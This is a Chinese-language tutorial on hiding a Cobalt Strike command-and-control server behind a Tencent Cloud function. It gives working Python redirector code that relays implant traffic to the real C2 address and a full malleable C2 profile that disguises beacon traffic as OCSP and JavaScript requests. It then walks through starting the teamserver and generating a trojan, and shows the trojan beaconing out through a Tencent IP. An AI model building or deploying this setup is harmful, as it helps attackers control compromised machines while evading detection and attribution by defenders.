使用云函数隐藏真实的Cobalt Strike ip地址

使用云函数隐藏真实ip

文章使用腾讯云,其他的类似

直接搜索云函数,如果第一次使用可能会提示需要授权,根据提示进行授权即可
点击新建云函数,使用自定义创建,选择实践函数,名称自定义,地域选离你近的,运行环境python3.6,代码部署
自定义创建云函数

函数代码默认配置即可,云函数代码如下,记得修改下自己的c2ip:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: utf8 -*-
import json,base64,requests
def main_handler(event,context):
C2 = 'http://IP:PORT'
headers = event['headers']
path = event['path']
ip = event['requestContext']['sourceIp']
headers = event['headers']
headers['X-Forwarded-For'] = ip
print(event)
if event['httpMethod'] == 'GET':
resp = requests.get(C2+path,headers=headers,verify=False)
else:
resp = requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)

response={
"isBase64Encoded":True,
"statusCode":resp.status_code,
"headers":dict(resp.headers),
"body":str(base64.b64encode(resp.content))[2:-1]
}
return response

高级设置不用动,点击触发器设置,版本选择一下,触发方式选择API网关触发,选择了之后点击完成开始创建云函数
云函数的触发器配置
创建完成呢之后我们点击编辑API
编辑云函数
注意路径一定要是根目录,将原来的给删除,然后点击立即完成发布服务
云函数的路径配置
发布完服务之后点击名称,在右侧就可以看到两个默认访问地址,一个是http的,一个是https的,后续根据Cobalt Strike的监听服务进行选择即可。
接着在服务端的Cobalt Strike中新建tencent.profile文件,其内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {
set uri "/api/x";
client { header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}

http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

开启Cobalt Strike服务端./teamserver ip password tencent.profile
本地连接Cobal Strike,新添加个监听,将腾讯云函数的默认访问地址复制过来,复制的时候注意掐头去尾,不要http://,不要:80
注意云函数的默认地址要掐头去尾
设置Cobalt Strike的监听
设置Cobalt Strike的监听
接下来测试效果,先用Cobalt Strike生成一个木马,注意监听选择我们的腾讯云
生成木马
测试效果,成功上线主机
Cobalt Strike上线主机
查看网络通信,发现木马外联地址是140.143.115.153,该ip是腾讯公司的的ip地址,成功隐藏了我们的真实ip
木马外连地址非Cobalt Strike主机地址
木马外连地址是腾讯云的